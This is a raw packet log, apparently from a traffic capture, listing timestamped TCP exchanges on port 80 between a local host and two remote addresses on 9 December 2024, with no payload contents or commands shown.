Dec 9, 2024 18:20:53.494102955 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.494162083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.494196892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.494247913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.494709969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.494764090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.494899988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.494951010 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.495414972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.495474100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.495534897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.495582104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.495788097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.495845079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.495863914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.495909929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.496172905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.496222019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.496243000 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.496289015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.496764898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.496820927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.496946096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.496994019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.497406960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.497454882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.497482061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.497528076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.498128891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.498187065 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.498356104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.498404980 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.498718023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.498761892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.498855114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.498920918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.499367952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.499420881 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.499533892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.499581099 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.500159025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.500170946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.500209093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.500225067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.500745058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.500793934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.500902891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.500947952 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.501373053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.501424074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.501564026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.501612902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.502129078 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.502177000 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.502234936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.502280951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.502738953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.502788067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.502886057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.502932072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.503375053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.503426075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.503549099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.503596067 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.504059076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.504106998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.504267931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.504342079 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.504736900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.504812002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.504836082 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.504884958 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.505419970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.505465984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.505567074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.505606890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.506194115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.506239891 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.506639957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.506688118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.506769896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.506782055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.506824970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.507422924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.507483959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.507622957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.507673025 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.508080006 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.508127928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.508152008 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.508193970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.508896112 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.508975029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.509047031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.509113073 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.509470940 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.509520054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.509527922 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.509569883 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.510042906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.510214090 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.510232925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.510277987 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.510786057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.510847092 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.510909081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.510951042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.511394024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.511440992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.511856079 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.511904955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.512043953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.512094021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.512187004 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.512236118 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.512711048 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.512757063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.512811899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.512861013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.513375998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.513422966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.513592005 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.513638973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.514081001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.514127970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.514175892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.514224052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.514947891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.514997959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.515084028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.515130997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.515407085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.515454054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.515496969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.515546083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.516091108 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.516139984 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.516211987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.516258955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.516697884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.516746044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.516843081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.516887903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.517370939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.517417908 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.517642021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.517689943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.518100023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.518146992 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.518198013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.518244028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.518940926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.519011021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.519085884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.519134998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.519438028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.519485950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.519680023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.519731045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.520122051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.520174026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.520195007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.520239115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.520744085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.520791054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.520845890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.520894051 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.521431923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.521480083 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.521581888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.521629095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.522033930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.522083044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.522142887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.522190094 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.522675037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.522722960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.522838116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.522888899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.523478985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.523489952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.523571968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.524008989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.524058104 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.524121046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.524168968 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.524698973 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.524746895 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.524774075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.524818897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.525369883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.525418043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.525471926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.525522947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.525996923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.526045084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.554886103 CET	80	49788	185.215.113.206	192.168.2.6
Dec 9, 2024 18:20:53.554929018 CET	49788	80	192.168.2.6	185.215.113.206
Dec 9, 2024 18:20:53.684937954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685049057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685126066 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.685194969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685265064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.685414076 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685457945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.685784101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685832024 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.685924053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.685976028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.686389923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.686439037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.686511040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.686558008 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.687125921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.687176943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.687309027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.687357903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.687659025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.687706947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.687730074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.687773943 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.688169003 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.688215017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.688220024 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.688258886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.688744068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.688785076 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.688836098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.688879967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.689320087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.689367056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.689476013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.689522028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.689910889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.689960003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.689990044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.690037966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.690913916 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.690924883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.690964937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.691318035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.691363096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.691457987 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.691507101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.691629887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.691703081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.691871881 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.691920042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.692244053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.692292929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.692378044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.692424059 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.693150997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.693200111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.693311930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.693358898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.693933010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.693983078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.694070101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.694114923 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.694647074 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.694695950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.694804907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.694855928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.695986032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.696036100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.696428061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.696475029 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.696748972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.696796894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.696834087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.696877003 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.697339058 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.697387934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.697431087 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.697482109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.697901964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.697949886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.698040009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.698087931 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.698553085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.698601961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.698636055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.698687077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.699088097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.699136972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.699179888 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.699227095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.699897051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.699944973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.700237989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.700285912 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.700526953 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.700581074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.700611115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.700659037 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.701092958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.701148033 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.701175928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.701222897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.701776028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.701787949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.701829910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.702344894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.702390909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.702424049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.702475071 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.702869892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.702918053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.703028917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.703069925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.703603983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.703644037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.703650951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.703685045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.704397917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.704447031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.704567909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.704617023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.704797029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.704845905 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.705327034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.705369949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.705385923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.705398083 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.705431938 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.705871105 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.705921888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.705961943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.706017017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.706450939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.706495047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.706549883 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.706598043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.707125902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.707173109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.707221985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.707272053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:53.707840919 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:53.707853079 CET	80	49828	185.215.113.16	192.168.2.6
